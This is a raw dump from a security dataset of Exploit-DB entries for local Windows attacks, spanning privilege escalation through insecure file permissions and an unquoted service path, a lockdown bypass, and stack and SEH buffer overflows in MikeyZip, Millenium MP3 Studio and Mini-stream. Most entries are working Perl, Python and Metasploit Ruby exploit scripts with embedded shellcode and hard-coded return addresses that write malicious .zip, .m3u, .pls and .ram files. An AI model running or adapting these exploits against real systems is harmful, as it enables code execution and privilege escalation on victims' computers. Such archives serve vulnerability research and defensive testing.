deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19144
Description: Microsoft Zero Administration Kit (ZAK) 1.0 / Office97 - Backdoor Access
Type: local
Platform: windows
Date: 1999-01-07
Author: Satu Laksela

Exploit:
source: https://www.securityfocus.com/bid/181/info

Zero Administration Kit (ZAK) was designed to allow administrators to (among other things) lock down the NT environment and restrict the user's access to certain applications and system functions.

In an instance where the end-user is not allowed to execute Windows Explorer and other "forbidden applications" (ie Quake), the following workaround was noted:

Open Word or Excel.

Select File:Open. Right click on the background of the File:Open window. A prompt will appear that will allow the user to select "Browse". Browse will open Windows Explorer.

Assuming the user has write access to the temp directory, create a special directory in temp and copy in the executables of the forbidden applications to this directory. These applications can now be executed and will circumvent the policies established by ZAK.
Exploit-DB #30546
Description: Microworld eScan (Multiple Products) - Local Privilege Escalation
Type: local
Platform: windows
Date: 2007-08-30
Author: Edi Strosar

Exploit:
source: https://www.securityfocus.com/bid/25493/info

Multiple MicroWorld eScan products are vulnerable to a local privilege-escalation vulnerability because of insecure default file permissions.

Attackers can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successful attacks will completely compromise affected computers.

The following are vulnerable:

eScan Internet Security 9.0.722.1
eScan Virus Control 9.0.722.1
eScan AntiVirus 9.0.722.1

UPDATE (September 4, 2008): The following additional products have been reported as vulnerable:

eScan Corporate 9.0.x
eScan Professional 9.0.x
eScan Workstation Server 9.0.x
eScan Web and Mail Filter 9.0.x
MailScan for Mail-Server 5.6a
MailScan for SMTP Server 5.6a
X-Spam for SMTP Servers 5.6a

Other versions and software packages may also be affected. 

- logon as LUA user
- rename traysser.exe to traysser.exe.BAK
- copy program.exe to eScan installation directory
- rename program.exe to traysser.exe
- restart the computer
- "rootshell" ;)

NOTE: traysser.exe is eScan Server Updater Service that
runs as NT AUTHORITY\SYSTEM.
Exploit-DB #17144
Description: MikeyZip 1.1 - '.zip' Local Buffer Overflow
Type: local
Platform: windows
Date: 2011-04-10
Author: C4SS!0 G0M3S

Exploit:
#!/usr/bin/perl
#
#
#[+]Exploit Title: MikeyZip 1.1 .ZIP File Buffer Overflow
#[+]Date: 10\04\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.softpedia.com/get/Compression-tools/MikeyZip.shtml
#[+]Version: 1.1
#[+]Tested On: WIN-XP SP3 Brazil Portuguese
#[+]CVE: N/A
#
#
#

use strict;
use warnings;

my $filename = "Exploit.zip";
print "\n\n\t\tMikeyZip 1.1 .ZIP File Buffer Overflow\n";
print "\t\tCreated by C4SS!0 G0M3S\n";
print "\t\tE-mail Louredo_\@hotmail.com\n";
print "\t\tSite www.exploit-br.org/\n\n";

print "\n\n[+] Creting ZIP File...\n";
sleep(1);
my $head = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $head2 = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $head3 = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";
#
#LITTLE SHELLCODE WinExec("calc",0)
#
my $payload = 
"JJJJJJJJJJJRYVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJI03YP0PSXU3512LCSPTPXF0".
"ONTMGUMVSLKON6A";
$payload .= "\x41" x (238-length($payload));
$payload .= pack('V',0x774D3E78);#CALL ESP on kernel32.dll WINX-XP SP3
$payload .= "\x61" x 10;#6 x POPAD
$payload .= "\x98\xe3";#CALL EDX



$payload .= "\x41" x (4064-length($payload));
$payload = $payload.".txt";

my $zip = $head.$payload.$head2.$payload.$head3;
open(FILE,">file.zip") || die "[-]Error:\n$!\n";
print FILE $zip;
close(FILE);
print "[+] ZIP File Created With Sucess:)\n";
sleep(3);
Exploit-DB #47510
Description: Mikogo 5.2.2.150317 - 'Mikogo-Service' Unquoted Serive Path
Type: local
Platform: windows
Date: 2019-10-16
Author: cakes

Exploit:
# Exploit Title : Mikogo 5.2.2.150317 - 'Mikogo-Service' Unquoted Serive Path
# Date : 2019-10-15
# Exploit Author : Cakes
# Vendor: LiteManager Team
# Version : LiteManager 4.5.0
# Software: http://html.tucows.com/preview/518015/Mikogo?q=remote+support
# Tested on Windows 10
# CVE : N/A 


c:\>sc qc Mikogo-Service
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Mikogo-Service
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Users\Administrator\AppData\Roaming\Mikogo\Mikogo-Service.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Mikogo-Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #51410
Description: MilleGPG5 5.9.2 (Gennaio 2023) - Local Privilege Escalation / Incorrect Access Control
Type: local
Platform: windows
Date: 2023-05-02
Author: Andrea Intilangelo

Exploit:
# Exploit Title: MilleGPG5 5.9.2 (Gennaio 2023) - Local Privilege Escalation / Incorrect Access Control
# Date: 2023-04-28
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://millegpg.it/
# Software Homepage: https://millegpg.it - https://millewin.it/prodotti/governo-clinico-3/
# Software Link: https://www.millegpg.it/download/MilleGPGInstall.exe
# Version: 5.9.2
# Tested on: Microsoft Windows 10 Enterprise x64 22H2, build 19045.2913
# CVE: CVE-2023-25438

MilleGPG / MilleGPG5 also known as "Governo Clinico 3"

Vendor: Millennium S.r.l. / Dedalus Group - Dedalus Italia S.p.a. / Genomedics S.r.l.

Affected/tested version: MilleGPG5 5.9.2

Summary:
Mille General Practice Governance (MilleGPG): an interactive tool to address an effective quality of care through the
Italian general practice network.
MilleGPG is an innovative IT support for the evaluation and optimization of patient care and intervention processes,
complete with new features for the management of the COVID-19 vaccine campaign. It is An irreplaceable "ally" for the
General Practitioner, also offering contextual access to the most authoritative scientific content and CME training.

Vuln desc:
The application is prone to insecure file/folder permissions on its default installation path, wrongly allowing some
files to be modified by unprivileged users, malicious process and/or threat actor. Attacker can exploit the weakness
abusing the "write" permission of the main application available to all users on the system or network.


Details:
Any low privileged user can elevate their privileges abusing files/folders that have incorrect permissions, e.g.:

C:\Program Files\MilleGPG5\MilleGPG5.exe    (main gui application)
C:\Program Files\MilleGPG5\plugin\          (GPGCommand.exe, nginx and php files)
C:\Program Files\MilleGPG5\k-platform\      (api and webapp files)

such as BUILTIN\Users:(I)(OI)(CI)(R,W) and/or FILE_GENERIC_WRITE, FILE_WRITE_DATA and FILE_WRITE_EA
Exploit-DB #11191
Description: Millenium MP3 Studio 1.x - '.m3u' Local Stack Overflow
Type: local
Platform: windows
Date: 2010-01-19
Author: NeoCortex

Exploit:
#!/usr/bin/perl

# Exploit Title: MP3 Studio v1.X (.m3u File) Local Stack Overflow
# Date: 19.01.2010 - 01/19/2010
# Author: NeoCortex
# Software Link: http://www.freewarezoom.com/archives/millennium-mp3-studio
# Version: 1.X
# Tested on: Windows XP SP3 (de-de)

# Original exploit found by HACK4LOVE
# http://www.milw0rm.com/exploits/9277
# 
# Nice training on seh exploits.
# Good luck finding some buddy using that media player
# 
# Greetz to:
# _-Sid-_ - Jess - >Roadkill< - Dawn - MouZe* - Linki
# 
# 19.01.2010 by NeoCortex

my $noa = "http://"."\x41" x 4103; # junk
my $jmp = "\xeb\x1b\x90\x90"; # 00125D64   EB 1B		JMP SHORT 00125D81
my $seh = "\x25\x12\xc8\x72"; # 00125D68   72C81225		SE handler
my $nob = "\x42" x 22; # cosmetic...

my $payload =
# payload taken from http://www.metasploit.com
# windows/exec cmd=calc.exe
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x48\x5a\x6a\x47".
"\x58\x30\x42\x31\x50\x42\x41\x6b\x42\x41\x57\x42\x32\x42\x41\x32".
"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x78\x69\x6b\x4c\x6a".
"\x48\x53\x74\x67\x70\x67\x70\x75\x50\x4e\x6b\x53\x75\x65\x6c\x6e".
"\x6b\x51\x6c\x46\x65\x70\x78\x43\x31\x68\x6f\x4e\x6b\x30\x4f\x54".
"\x58\x6e\x6b\x73\x6f\x57\x50\x67\x71\x58\x6b\x77\x39\x4c\x4b\x64".
"\x74\x6c\x4b\x57\x71\x5a\x4e\x76\x51\x49\x50\x6e\x79\x6e\x4c\x4f".
"\x74\x4b\x70\x70\x74\x37\x77\x69\x51\x48\x4a\x64\x4d\x43\x31\x4f".
"\x32\x7a\x4b\x48\x74\x55\x6b\x72\x74\x34\x64\x77\x74\x70\x75\x4d".
"\x35\x6c\x4b\x71\x4f\x75\x74\x36\x61\x48\x6b\x41\x76\x4c\x4b\x44".
"\x4c\x70\x4b\x4e\x6b\x63\x6f\x55\x4c\x33\x31\x68\x6b\x4e\x6b\x35".
"\x4c\x4e\x6b\x34\x41\x6a\x4b\x6c\x49\x33\x6c\x35\x74\x64\x44\x4a".
"\x63\x34\x71\x4b\x70\x63\x54\x6e\x6b\x71\x50\x76\x50\x4f\x75\x4b".
"\x70\x72\x58\x74\x4c\x4c\x4b\x77\x30\x76\x6c\x4c\x4b\x44\x30\x57".
"\x6c\x6c\x6d\x6e\x6b\x75\x38\x54\x48\x58\x6b\x73\x39\x6e\x6b\x4b".
"\x30\x4e\x50\x37\x70\x67\x70\x37\x70\x6c\x4b\x62\x48\x45\x6c\x63".
"\x6f\x35\x61\x39\x66\x35\x30\x50\x56\x4d\x59\x48\x78\x6e\x63\x59".
"\x50\x43\x4b\x66\x30\x43\x58\x68\x70\x6f\x7a\x43\x34\x33\x6f\x73".
"\x58\x4f\x68\x6b\x4e\x6d\x5a\x46\x6e\x72\x77\x6b\x4f\x78\x67\x63".
"\x53\x62\x41\x30\x6c\x55\x33\x64\x6e\x42\x45\x70\x78\x32\x45\x33".
"\x30\x47";

open(myfile,'>> Neo_Crash.m3u');
print myfile $noa.$jmp.$seh.$nob.$payload;
-- 
Preisknaller: GMX DSL Flatrate für nur 16,99 Euro/mtl.!
http://portal.gmx.net/de/go/dsl02
Exploit-DB #16636
Description: Millenium MP3 Studio 2.0 - '.pls' Local Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-09-25
Author: Metasploit

Exploit:
##
# $Id: millenium_mp3_pls.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Millenium MP3 Studio 2.0 (PLS File) Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in Millenium MP3 Studio 2.0.
					An attacker must send the file to victim and the victim must open the file.
					Alternatively it may be possible to execute code remotely via an embedded
					PLS file within a browser, when the PLS extention is registered to Millenium MP3 Studio.
					This functionality has not been tested in this module.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Molotov ', 'dookie', 'jduck' ],
			'Version'        => '$Revision: 10477 $',
			'References'     =>
				[
					[ 'OSVDB', '56574' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/9618' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/10240' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x0d\x1a",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x10015593 } ], #p/p/r in xaudio.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jul 30 2009',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
				], self.class)
	end

	def exploit

		header = "[playlist]\r\n"
		header << "NumberOfEntries=1\r\n"
		header << "File1=http://"

		sploit = make_nops(4103 - payload.encoded.length)
		sploit << payload.encoded
		sploit << generate_seh_record(target.ret)

		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (4103+8).to_s).encode_string
		# note, one of the arguments get modified post overflow, so executing stuff below here is risky...

		filepls = header + sploit

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(filepls)

	end

end
Exploit-DB #10392
Description: Millenium MP3 Studio 2.0 - '.pls' Universal Stack Overflow (Metasploit)
Type: local
Platform: windows
Date: 2009-12-11
Author: dookie

Exploit:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Millenium MP3 Studio 2.0 (PLS File) Stack Overflow.',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in the Millenium MP3 Studio 2.0.
					An attacker must send the file to victim and the victim must open the file.
					Alternatively it may be possible to execute code remotely via an embedded
					PLS file within a browser, when the PLS extention is registered to Millenium MP3 Studio.
					This functionality has not been tested in this module.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Molotov ', 'dookie' ],
			'Version'        => '$Revision: 7724 $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/10240' ],
				],
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        => 
				[
					[ 'Windows Universal', { 'Ret' => 0x10015593 } ], #p/p/r in xaudio.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => '28 Nov 2009',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'millenium.pls']),
				], self.class)

	end

	def exploit
		
		header = "[playlist]\r\n"
		header << "NumberOfEntries=1\r\n"
		header << "File1=http://"		

		sploit = rand_text_alpha_upper(4103)
		sploit << "\xeb\x1c\x90\x90"
		sploit << [target.ret].pack('V')
		sploit << payload.encoded
		sploit << rand_text_alpha_upper(1000)

		filepls = header + sploit
		
		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(filepls)

	end

end
Exploit-DB #10240
Description: Millenium MP3 Studio 2.0 - 'pls' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-11-28
Author: Molotov

Exploit:
#!/usr/bin/env python


# Millenium MP3 Studio 2.0 Buffer overflow exploit 
# Coded By Molotov ( Moroccans Hackers ) 
# THX: Allah - Simo36 - Fr33xM4n - Dr.Html - Memorhax - Kevin - Stylextra .

shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x53\x4b\x38\x4e\x57"
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x58"
"\x4f\x45\x42\x52\x41\x50\x4b\x4e\x49\x44\x4b\x48\x46\x43\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x44"
"\x4b\x38\x4f\x55\x4e\x51\x41\x50\x4b\x4e\x4b\x48\x4e\x41\x4b\x48"
"\x41\x50\x4b\x4e\x49\x58\x4e\x35\x46\x42\x46\x30\x43\x4c\x41\x33"
"\x42\x4c\x46\x56\x4b\x58\x42\x44\x42\x43\x45\x48\x42\x4c\x4a\x37"
"\x4e\x50\x4b\x48\x42\x44\x4e\x30\x4b\x38\x42\x47\x4e\x41\x4d\x4a"
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x56\x4e\x33\x4f\x55\x41\x43"
"\x48\x4f\x42\x46\x48\x35\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
"\x42\x45\x4a\x56\x50\x37\x4a\x4d\x44\x4e\x43\x37\x4a\x56\x4a\x59"
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x46"
"\x4e\x56\x43\x56\x42\x30\x5a")

header = "[playlist]\n"
header+="NumberOfEntries=1\n"
header+="File1=http://"

pad0x1 = '\x41'* 4103
n_seh = '\xeb\x1c\x90\x90'
seh= '\x93\x55\x01\x10'
nop = '\x90' * 28
pad0x2= '\x44'  *1000

packet = header + pad0x1 + n_seh + seh + nop +shellcode+ pad0x2

file=open('exploit.pls','w')
file.write(packet)
file.close()
Exploit-DB #40494
Description: Minecraft Launcher 1.6.61 - Insecure File Permissions Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-11
Author: Ross Marks

Exploit:
Minecraft Launcher:     https://minecraft.net
Version:                1.6.61
By Ross Marks:          http://www.rossmarks.co.uk
Exploit-db:             https://www.exploit-db.com/author/?a=8724
Category:               Local
Tested on:              Windows 10 x86/x64
 
1) Insecure File Permissions Local Privilege Escalation
 
Minecraft's launcher (minecraftLauncher.exe) suffers from an elevation of privileges 
vulnerability which can be used by a simple user that can change the executable file 
with a binary of choice. The vulnerability exist due to the improper permissions,
with the 'F' flag (Full) for 'Users' group, making the entire directory 
'Minecraft' and its files and sub-dirs world-writable.

This would allow an attacker the ability to inject code or replace the MinecraftLauncher 
executable and have it run in the context of the system.
 
PoC:
 
C:\Program Files (x86)\Minecraft>icacls MinecraftLauncher.exe
MinecraftLauncher.exe BUILTIN\Users:(I)(F)
                      NT AUTHORITY\SYSTEM:(I)(F)
                      BUILTIN\Administrators:(I)(F)
                      PENTEST\ross.marks:(I)(F)
                      APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                      APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APP PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
Exploit-DB #10748
Description: Mini-stream 3.0.1.1 - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2009-12-27
Author: dijital1

Exploit:
##
# $Id: mini_stream.rb 11516 2011-01-08 01:13:26Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'Mini-Stream 3.0.1.1 Buffer Overflow Exploit',
			'Description' => %q{
					This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1
				By creating a specially crafted pls file, an an attacker may be able
				to execute arbitrary code.
			},
			'License' => MSF_LICENSE,
			'Author' =>
				[
					'CORELAN Security Team ',
					'Ron Henry <rlh[at] ciphermonk.net>', # Return address update
					'dijital1',
				],
			'Version' => '$Revision: 11516 $',
			'References' =>
				[
					[ 'OSVDB', '61341' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/10745' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
					'DisablePayloadHandler' => 'true',
				},
			'Payload' =>
				{
					'Space' => 3500,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets' =>
				[
					[ 'Windows XP SP3 - English', { 'Ret' => 0x7e429353} ], 		# 0x7e429353 JMP ESP - USER32.dll
					[ 'Windows XP SP2 - English', { 'Ret' => 0x7c941eed} ], 		# 0x7c941eed JMP ESP - SHELL32.dll
				],
			'Privileged' => false,
			'DisclosureDate' => 'Dec 25 2009',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'metasploit.pls']),
			], self.class)
	end


	def exploit
		sploit = rand_text_alphanumeric(17403)
		sploit << [target.ret].pack('V')
		sploit << "CAFE" * 8
		sploit << payload.encoded

		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(sploit)
		print_status("Copy '#{datastore['FILENAME']}' to a web server and pass the URL to the application")
	end

end
Exploit-DB #8629
Description: Mini-stream ASX to MP3 Converter 3.0.0.7 - '.RAM' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-05-07
Author: G4N0K

Exploit:
#!/usr/bin/perl
=gnk
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             
==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...From Iran

==============================================================================
	Mini-stream ASX to MP3 Converter 3.0.0.7 (.RAM) Local Buffer Overflow Exploit
==============================================================================
	[Â»] Script:.............[ Mini-stream ASX to MP3 Converter 3.0.0.7 ]....
	[Â»] Website:............[ http://mini-stream.net/ ].....................
	[Â»] Today:..............[ 07052009 ]....................................
	[Â»] Exploited by:.......[ G4N0K | mail[.]ganok[sh!t]gmail.com ].........
==============================================================================

	[x] tested on "Windows XP SP2"... [:-)
	
=cut

my $MSD = "rtsp://"."G" x 26117;
my $SMN = "\x90" x 16;
my $RA = "\x5D\x38\x82\x7C"; # Kernel32.dll

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $Shcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".
             "\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".
             "\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".
             "\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".
             "\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".
             "\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".
             "\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".
             "\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".
             "\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".
             "\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";

  open(RAM,'>>gnk.ram');
  print RAM $MSD.$RA.$SMN.$Shcode;
  close(RAM);

# milw0rm.com [2009-05-07]